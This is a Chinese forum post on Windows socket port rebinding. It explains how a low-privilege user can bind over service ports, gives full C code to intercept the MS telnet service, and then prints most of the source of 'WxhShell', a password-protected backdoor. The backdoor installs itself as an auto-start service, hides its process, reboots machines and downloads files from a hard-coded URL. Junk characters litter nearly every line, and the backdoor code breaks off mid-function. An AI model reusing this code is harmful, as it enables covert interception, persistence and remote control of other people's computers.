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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mKZ?H$E%%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;^:~xJFx|  
/woa[7Xe  
  saddr.sin_family = AF_INET; +IVVsVp  
%'`Dd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OM]p"Jd  
 >0+m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 133lIX+(k  
5<4njo?k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 y VQ qz  
`a:@[0r0U  
  这意味着什么?意味着可以进行如下的攻击: Y,WcHE  
x{~-YzWho  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5gI@~h S  
xpFu$2T6P.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  AO;+XP=  
&X_I^*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZERUvk  
({![  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X =S;8=N  
gq[}/E0e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rjo6Pd{d<  
Du$kDCU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \ ;Hj,z\  
>?M:oUVDU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #x#.@  
$a\q<fN}  
  #include wx(| $2{h  
  #include NNutpA}s  
  #include 3-32q)8  
  #include    &4"(bZ:LO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q( AOKp,F  
  int main()  2b1LC!'U  
  { ..<(HH2  
  WORD wVersionRequested; l/LRr.x  
  DWORD ret; ezwcOYMXK  
  WSADATA wsaData; :@_CQc*yB  
  BOOL val; n5S$Dl  
  SOCKADDR_IN saddr; |Y/iq9l  
  SOCKADDR_IN scaddr; #zrD i  
  int err; @[zPN[z .  
  SOCKET s; /RmLV  
  SOCKET sc; fLc<}DF  
  int caddsize; }K"=sE  
  HANDLE mt; A &w)@DOe  
  DWORD tid;   E3,Z(dpX!  
  wVersionRequested = MAKEWORD( 2, 2 ); w \0=L=J  
  err = WSAStartup( wVersionRequested, &wsaData ); 9]|[z{v'>l  
  if ( err != 0 ) { HtY\!_Ea  
  printf("error!WSAStartup failed!\n"); o [ar.+[  
  return -1; ,n &|+&  
  } 4x8mJ4[H^  
  saddr.sin_family = AF_INET; e[915Q_  
   sXoBw.^Ir_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2c0eh-Gf  
_}jj>+zA`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Gpe h#Q4x  
  saddr.sin_port = htons(23); QHMXQyr(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~DqNA%Mb  
  { , X$S4>  
  printf("error!socket failed!\n"); f=~@e#U  
  return -1; 2)[81a  
  } 3h 0w8(k;  
  val = TRUE; FD_0FMZ9,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _3A$z A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L=Dx$#|  
  { ^N Et{]x  
  printf("error!setsockopt failed!\n"); Yz-b~D/=}  
  return -1; (jY.S|%  
  } + 6r@HK`,t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (O&~*7D*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XFK$p^qu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \iowAo$  
woR((K] #G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .s7/bF  
  { ,vg8iR a  
  ret=GetLastError(); IeN!nK-  
  printf("error!bind failed!\n"); Ks7s2vK^  
  return -1; B TcxBh  
  } 7 hnTHL  
  listen(s,2); F;q I^{m2  
  while(1) .^JID~<?#  
  { > )#*}JI  
  caddsize = sizeof(scaddr); pk;bx2CP8  
  //接受连接请求 0" R|lTYq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ynP^|Ou  
  if(sc!=INVALID_SOCKET) qV iky=/-  
  { oVC~RKA*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;=h^"et  
  if(mt==NULL) & NOKrN~HX  
  { S'E6#   
  printf("Thread Creat Failed!\n"); <PV @JJ"  
  break; 9QY)<K~a  
  } krz@1[w-j  
  } d8]6<\g  
  CloseHandle(mt); 6"_FjS3Sl  
  } o`RTvG Xk  
  closesocket(s); l[\[)X3$  
  WSACleanup(); 0dIJgKanGP  
  return 0; |&RdOjw$u  
  }   ,3fw"P$  
  DWORD WINAPI ClientThread(LPVOID lpParam) mGL%<4R,  
  { 0JNG\ARC  
  SOCKET ss = (SOCKET)lpParam; d6hWmZVC  
  SOCKET sc; P\N`E?lJL  
  unsigned char buf[4096]; g-*@I`k[  
  SOCKADDR_IN saddr; 3QV|@5L`[  
  long num; .'.|s?s  
  DWORD val; >DbG$V<v'  
  DWORD ret; ;Rwr5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z71"d"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3j.f3~"  
  saddr.sin_family = AF_INET; OSkZW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (#Y2H  
  saddr.sin_port = htons(23); R_@yj]%H=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (5G^"Srw  
  { ;! CQFJ=  
  printf("error!socket failed!\n"); 5,?9#n\E,  
  return -1; kv (N/G  
  } /1MO]u\  
  val = 100; -u{k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q'Q+mt8u5  
  { |n6nRE wW  
  ret = GetLastError(); vaK$j!%FE  
  return -1; rm"bplLZA  
  } w #1l)+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 25YJH1x  
  { vV=$N"bT~  
  ret = GetLastError(); SrHRpxy  
  return -1; ?J<4IvL/  
  } X0U{9zP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cm7aL%D$c  
  { vhhsOga  
  printf("error!socket connect failed!\n"); uOW9FAW  
  closesocket(sc); umls=iz  
  closesocket(ss); _/MKU!\l  
  return -1; ~9'VP }\  
  } z@iY(;Qo  
  while(1) B~~rLo:a  
  { oPWvZI(\&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .[O*bk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T+2?u.{I  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =AR'Pad  
  num = recv(ss,buf,4096,0); $f C=v  
  if(num>0) 'M G)noN5  
  send(sc,buf,num,0); :&TOQ<vM  
  else if(num==0) k# &y  
  break; XM8C{I1  
  num = recv(sc,buf,4096,0); L"('gc!W  
  if(num>0) gL}K84T$S  
  send(ss,buf,num,0); LClPAbr  
  else if(num==0) ?}lCS7&  
  break; ]qv/+~Qs>  
  } AK [9fxrE  
  closesocket(ss); &OuyjW4  
  closesocket(sc); uMqo)J@s  
  return 0 ; jRq>Sz{8  
  } "=/XIM.  
'-ACNgNn  
= <33(   
========================================================== pK$^@~DE  
teM&[U  
下边附上一个代码,,WXhSHELL 0BVMLRB  
WJJ!No P  
========================================================== !_V*VD  
+o_`k!  
#include "stdafx.h" !-\*rdE {9  
Re.fS6y$>  
#include <stdio.h> ulVHsWg  
#include <string.h> n}?kQOg0/  
#include <windows.h> Ui1K66{  
#include <winsock2.h> <pPI:D@G  
#include <winsvc.h> 9`c :sop  
#include <urlmon.h> @rVmr{UE  
}b,a*4pN  
#pragma comment (lib, "Ws2_32.lib") ]CHMkuP[k  
#pragma comment (lib, "urlmon.lib") |t.WPp5,  
(>)Y0ki}  
#define MAX_USER   100 // 最大客户端连接数 fh,Y#.V`  
#define BUF_SOCK   200 // sock buffer 5Z;Py"%  
#define KEY_BUFF   255 // 输入 buffer #UGbSOoCtn  
8SKDL[rN  
#define REBOOT     0   // 重启 w@oq.K  
#define SHUTDOWN   1   // 关机 VDQ&Bm JE  
LU%g>?m.]  
#define DEF_PORT   5000 // 监听端口 `D GO~RMp9  
%*r P d>*  
#define REG_LEN     16   // 注册表键长度 Vuz!~kLYIn  
#define SVC_LEN     80   // NT服务名长度 8K1+ttjm  
ZY][LU~l8  
// 从dll定义API Vxk0oI k`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); My5X%)T>P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LFh(. }  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g\6(ezUF*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!nS4 [d  
[vIO  
// wxhshell配置信息 4NbC V)Dm  
struct WSCFG { oXz:zoNQ  
  int ws_port;         // 监听端口 =zbrXtp,  
  char ws_passstr[REG_LEN]; // 口令 X|.X4fs  
  int ws_autoins;       // 安装标记, 1=yes 0=no /+66y=`UJ  
  char ws_regname[REG_LEN]; // 注册表键名 cLB"<mG  
  char ws_svcname[REG_LEN]; // 服务名 I:Z38xz-[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j&#p&`B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4V[+6EV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n){\KIU/O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 57r\s 8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Cm4a49FNi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L- =^GNh  
'3<YZWS  
}; i44KTC"sB  
,cj34W`FWq  
// default Wxhshell configuration {qh`8  
struct WSCFG wscfg={DEF_PORT, LfK <%(:  
    "xuhuanlingzhe", e4?}#6RF  
    1, z{AfR2L  
    "Wxhshell", 6:h!gY  
    "Wxhshell", KL -8Aj~  
            "WxhShell Service", wGbD%=  
    "Wrsky Windows CmdShell Service", 7AtJ6  
    "Please Input Your Password: ", 7Qq>?H -  
  1, ^ *m;![$[  
  "http://www.wrsky.com/wxhshell.exe", 8 A2k-X,  
  "Wxhshell.exe" 1_<'S34  
    }; zzPgLE55  
..n-&(c32  
// 消息定义模块 N-vr_4{g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #>!!#e!*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EV~_-YC   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v|n.AGn  
char *msg_ws_ext="\n\rExit."; !q$IB?8   
char *msg_ws_end="\n\rQuit."; ~Ilgc CF  
char *msg_ws_boot="\n\rReboot..."; ;i,yT ?so  
char *msg_ws_poff="\n\rShutdown..."; ,9q5jOnk  
char *msg_ws_down="\n\rSave to "; BDcl1f T  
'JRkS'ay  
char *msg_ws_err="\n\rErr!"; "*TnkFTR  
char *msg_ws_ok="\n\rOK!"; =k0l>)  
+fKLCzj  
char ExeFile[MAX_PATH]; o>j3<#?  
int nUser = 0; I,q3J1K  
HANDLE handles[MAX_USER]; -+c_TJ.dC  
int OsIsNt; -vhgBru  
@0t,vye  
SERVICE_STATUS       serviceStatus; JJ[J'xl@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q}+9$v  
K _y;<a]  
// 函数声明 [j:%O|h  
int Install(void); =SLJkw&w6  
int Uninstall(void); *y.KD4@{  
int DownloadFile(char *sURL, SOCKET wsh); q \0>SG  
int Boot(int flag); o3%+FWrVTS  
void HideProc(void); Fet>KacTht  
int GetOsVer(void); o2Z# 5-  
int Wxhshell(SOCKET wsl);  E#ti  
void TalkWithClient(void *cs); wn|Sdp  
int CmdShell(SOCKET sock); ?;}2 Z)  
int StartFromService(void); &4p:2,|r9  
int StartWxhshell(LPSTR lpCmdLine); {t9'8R3  
@'~v~3 $S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @XB/9!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B&<Z#C:I  
My=p>{s  
// 数据结构和表定义 _%"/I96'  
SERVICE_TABLE_ENTRY DispatchTable[] = -CxaOZG  
{ )<jj O  
{wscfg.ws_svcname, NTServiceMain}, Ue~M .LZb  
{NULL, NULL} |?{Zx&yUw  
}; @u$4{sjgf\  
/|hKZTZJdN  
// 自我安装 _H@S(!  
int Install(void) $FCLo8/=  
{ Jf4D">h  
  char svExeFile[MAX_PATH]; `"/@LUso  
  HKEY key; 6Pd;I,k  
  strcpy(svExeFile,ExeFile); Pm V:J9  
{6v+ Dz>  
// 如果是win9x系统,修改注册表设为自启动 o^5xCK:Oi2  
if(!OsIsNt) { d94Lc-kq^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dt ;R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H?^Poe(=(  
  RegCloseKey(key); ,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }J"}poB:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NcFHvK  
  RegCloseKey(key); m<TKy_C`  
  return 0; eV}Ow`~I5  
    } ,zz+s[ZH7O  
  } '6[0NuB  
} r1$ O<3\  
else { !J'BAq[x  
XG_ lyx%:E  
// 如果是NT以上系统,安装为系统服务 6uR :/PTG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); bi[vs|  
if (schSCManager!=0) JZ80|-c  
{ *G2p;n=2  
  SC_HANDLE schService = CreateService &5c)qap;n  
  ( WVp14Z?k  
  schSCManager, "J7=3$CA  
  wscfg.ws_svcname, g$ 9Yfu  
  wscfg.ws_svcdisp, yj"+!g  
  SERVICE_ALL_ACCESS, |a/"7B|?\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +qDudGI  
  SERVICE_AUTO_START, 2Vt iL^;5  
  SERVICE_ERROR_NORMAL, rS8/_'  
  svExeFile, H8rDG/>^  
  NULL, 8T7[/"hi\  
  NULL, dk-Y!RfNx  
  NULL, &F)P3=  
  NULL, WXaLKiA*(  
  NULL M)( 5S1ndq  
  ); {N/(lB8  
  if (schService!=0) O~l WFaW  
  { #tGW|F  
  CloseServiceHandle(schService); qeHb0G  
  CloseServiceHandle(schSCManager); `A3"*,|z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PzNk:O  
  strcat(svExeFile,wscfg.ws_svcname); NKh"x&R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E<D45C{DP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >t3%-Kc  
  RegCloseKey(key); T" XZ[q  
  return 0; -7$7TD`'7  
    } DMsxHAE1  
  } QUwSnotgU  
  CloseServiceHandle(schSCManager); sHmzwvpLA  
} iO>2#p8$NR  
} +{4ziqYj  
$5s?m\!jZz  
return 1; pma'C\b>  
} LoqS45-)  
xW!2[.O5H  
// 自我卸载 ,*wa#[  
int Uninstall(void) 3g^_Fq'  
{ (Lp<T!"  
  HKEY key; rp{q.fy'U  
}p]8'($  
if(!OsIsNt) { DO8@/W( `  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QI.{M$,m~  
  RegDeleteValue(key,wscfg.ws_regname); OpW4@le_r  
  RegCloseKey(key); 9)];l?l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +MvcW.W~  
  RegDeleteValue(key,wscfg.ws_regname); Qis[j-?:  
  RegCloseKey(key); u @?n3l  
  return 0; :l'61$=  
  } T:q!>"5  
} .|G([O^H  
} vB hpD  
else { QcU&G*   
u|BD=4*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *G7/  
if (schSCManager!=0) )!s f@F?  
{ iLIH |P%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i<m1^a#C'  
  if (schService!=0) ZQlja  
  { ,Tvfn`;(  
  if(DeleteService(schService)!=0) { ^M0e0  
  CloseServiceHandle(schService); EuOrwmdj  
  CloseServiceHandle(schSCManager); g+bc4eU  
  return 0; [u`v'*0d  
  } \L($;8` \  
  CloseServiceHandle(schService); ?h2!Z{[0b  
  } kn:X^mDXC/  
  CloseServiceHandle(schSCManager); D C{l.a.  
} b MZ-{<+i  
} k2(B{x}L  
Z@4 BTA  
return 1; 'avzESe~'  
} S%uwQ!=O8  
*9Ej fs7L  
// 从指定url下载文件 ]+@@{?0  
int DownloadFile(char *sURL, SOCKET wsh) (P%{Tab  
{ 7k.=_Tl  
  HRESULT hr; @eU;oRVc{  
char seps[]= "/"; =]X_wA;%  
char *token; ]|KOc& y:I  
char *file; e* {'A  
char myURL[MAX_PATH]; "j#;MOK  
char myFILE[MAX_PATH]; j *B,b4  
gY9HEfB  
strcpy(myURL,sURL); HC_+7O3A  
  token=strtok(myURL,seps); "#Qqwsw7  
  while(token!=NULL) Ro\ U T64  
  { Lq : !?)I  
    file=token; $Y& 8@/L  
  token=strtok(NULL,seps); plcz m 2  
  } mwU|Hh)N]  
!6{; z/Hy  
GetCurrentDirectory(MAX_PATH,myFILE); Gi]R8?M  
strcat(myFILE, "\\"); W@Et  
strcat(myFILE, file); us%dw&   
  send(wsh,myFILE,strlen(myFILE),0); 2l^hnog|  
send(wsh,"...",3,0); VJviX[V?4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R~TzZ(Ah]  
  if(hr==S_OK) n]{sBI3  
return 0; sl?> X)}  
else L?:.8k`d  
return 1; cih[A2lp  
Q"rQVO  
} hA 1_zKZ  
!6.}{6b  
// 系统电源模块 : E`/z@I  
int Boot(int flag) 4}-{sS}MP  
{ +||y/}1  
  HANDLE hToken; jRdmQ mTJ  
  TOKEN_PRIVILEGES tkp; h]W PWa)M  
`#J0@ -  
  if(OsIsNt) { Ns ezUk8'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )zn`qaHK@e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lmh4ezrdH  
    tkp.PrivilegeCount = 1; O\0]o!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &q8oalh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sKD sps^$  
if(flag==REBOOT) { LkvR]^u0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &/wd_;d^A  
  return 0; Dfz3\|LJ  
} /<zBjvr%%  
else { eI99itDQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A:Y ([  
  return 0; XM?>#^nC?u  
} P?WS=w*O0  
  } .t53+<A  
  else { -(~OzRfYi  
if(flag==REBOOT) { %)'# d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y(81| c#  
  return 0; b~oQhU??"  
} 1V/?p<A  
else { q%&JAX=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hst]}g' .  
  return 0; *n]f)Jc  
} #POVu|Y;h  
} :[P)t %  
7# !RX3  
return 1; bEvlk\iql  
} >`{B  
J]mG!#9  
// win9x进程隐藏模块 #M/^n0E  
void HideProc(void) 76 ] X  
{ P6G&3yPt  
, yd]R4M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zvEofK  
  if ( hKernel != NULL ) 9Su4nt`i  
  { cpLlkR O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JJE?!Yvc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <A~a|A-QFR  
    FreeLibrary(hKernel); Hs6?4cgj  
  } E@} NV|90  
YmwUl>@{  
return; }.DE521u  
} PPpq"c  
B r`a;y T  
// 获取操作系统版本 (D5sJ$&E@\  
int GetOsVer(void) cVb&Jzd  
{ pHNo1-k\  
  OSVERSIONINFO winfo; Z(h.)$yH*=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wxeg(L}E  
  GetVersionEx(&winfo); c;6[lv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nv[MU@Tv  
  return 1; L|hoA9/]  
  else NP#6'eH\  
  return 0; Q%T[&A}3B  
} #OMFv.  
F9}jiCom  
// 客户端句柄模块 V vFMpPi  
int Wxhshell(SOCKET wsl) ahoXQ8c:\}  
{ D,hZVKa  
  SOCKET wsh; v}`{OE:-J  
  struct sockaddr_in client; Z~S%|{&Br  
  DWORD myID;  WPu-P  
yw@kh^L  
  while(nUser<MAX_USER) Q# Yba  
{ aTWCX${~b  
  int nSize=sizeof(client); w! kWG,{C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x9!3i{_  
  if(wsh==INVALID_SOCKET) return 1; -Z(='A  
P$7i>(?(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )hy(0 D  
if(handles[nUser]==0) w,)O*1't  
  closesocket(wsh); VZ3{$0 +  
else Y?'Krw `  
  nUser++; tEam6xNf,  
  } ATG;*nIP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -s6k't  
fHV%.25  
  return 0; >}7Ml  
} 'qy LQ:6  
^Ay>%`hf*  
// 关闭 socket m%s&$  
void CloseIt(SOCKET wsh) ^!v{ >3  
{ |PNPOj0  
closesocket(wsh); ,'Sj:l  
nUser--; '_~qAx@F#c  
ExitThread(0); "h`oT4j5q  
} Kj{(jT  
Hy~+|hLvh  
// 客户端请求句柄 Rt+ak}  
void TalkWithClient(void *cs) 8 \BGL  
{ @{q:179w^  
\8<ZPqt9  
  SOCKET wsh=(SOCKET)cs; H_n Ilku  
  char pwd[SVC_LEN]; CK=TD`$w  
  char cmd[KEY_BUFF]; UKpc3Jo:~  
char chr[1]; .+ d.~jHX  
int i,j; E#zLm  
eHl)/='  
  while (nUser < MAX_USER) { U_KCN09  
p}e1!q;N  
if(wscfg.ws_passstr) { J`[v u4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2L(\-]%f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e0:[,aF`  
  //ZeroMemory(pwd,KEY_BUFF); %o  
      i=0; <p5?yF  
  while(i<SVC_LEN) { 4K(oOxc9.  
}.k*4Vw#Wt  
  // 设置超时 ]8+ D  
  fd_set FdRead; <L'6CBbP  
  struct timeval TimeOut; $<da<}b  
  FD_ZERO(&FdRead); "$k rK7Z  
  FD_SET(wsh,&FdRead); )&{<gyS1  
  TimeOut.tv_sec=8; ,_M  
  TimeOut.tv_usec=0; kxH` c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y/<`C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Go1@;5I  
 P y!$r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <8iu:nR  
  pwd=chr[0]; fNk0&M  
  if(chr[0]==0xd || chr[0]==0xa) { s+<`iH9Hm  
  pwd=0; xOt {Vsv  
  break; 7!g"q\s  
  } K0fuN)C  
  i++; Q+7+||RW  
    } OK" fFv  
?1.W F}X'  
  // 如果是非法用户,关闭 socket 34F;mr"yp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j"r7M|Z+V  
} !nDiAjj  
q|ZzGEj:OV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b*)F7{/Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3EV?=R  
9<Ks2W.N  
while(1) { ~J![Nx/  
qYP;`L}o#  
  ZeroMemory(cmd,KEY_BUFF); J{U 171  
]o?r( 1  
      // 自动支持客户端 telnet标准   f=hT o!i  
  j=0; VOSq%hB  
  while(j<KEY_BUFF) { U1;&G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z7_h$v  
  cmd[j]=chr[0]; \C<'2KZR,  
  if(chr[0]==0xa || chr[0]==0xd) { {|B 2$1':  
  cmd[j]=0; S| |OSxZ  
  break; $d*PY_  
  } #h}a   
  j++; ;_ S D W  
    } 7 MS-Gs|  
s4`,Z*H  
  // 下载文件 1]a\uq}  
  if(strstr(cmd,"http://")) { 1t/mq?z:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q.kDx_  
  if(DownloadFile(cmd,wsh)) f=A`{ 8^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l T#WM]  
  else )kEH}P&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {X10,  
  } 2. q\!V}yQ  
  else { l4gZHMh'  
#.{ddY{  
    switch(cmd[0]) { &LYH >  
  ~e _  
  // 帮助 z?n6l7sH  
  case '?': { pIHpjx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w0X})&,{`m  
    break; FQ"ED:lks  
  } = N^Ec[u(l  
  // 安装 4rLc] >  
  case 'i': { `ES+$O>  
    if(Install()) M#k$[w}=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#a;n  
    else }g& KT!r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8ZCR9%  
    break; <+UJgB A-  
    } !u;gGgQF  
  // 卸载 I7HGV(  
  case 'r': { T"3:dkQw  
    if(Uninstall()) wb>"'%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qr(t_qR&  
    else yqC158 P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @JPz|  
    break; sI6I5  
    } /r8sL)D+  
  // 显示 wxhshell 所在路径 ^^g u  
  case 'p': { 4Uhh]/  
    char svExeFile[MAX_PATH]; h_Ssm{C\  
    strcpy(svExeFile,"\n\r"); 2UG>(R:  
      strcat(svExeFile,ExeFile); D?FmlDTr[  
        send(wsh,svExeFile,strlen(svExeFile),0); pVM1%n:#  
    break; *v$j n  
    } &4wwp!J  
  // 重启 - "EPU]q  
  case 'b': { vdh[%T,&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V 4&a+MJ@  
    if(Boot(REBOOT)) nRyx2\Py+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yeam-8  
    else { ,Jx.Kj.,  
    closesocket(wsh); Pk;1q?tGw  
    ExitThread(0); w"O{@2B3:H  
    } 55ft ,a  
    break; ,$ Cr9R&/  
    } M/,lP  
  // 关机 klMpiy  
  case 'd': { i91k0q*di  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TR%8O;  
    if(Boot(SHUTDOWN)) 7m%[$X`  
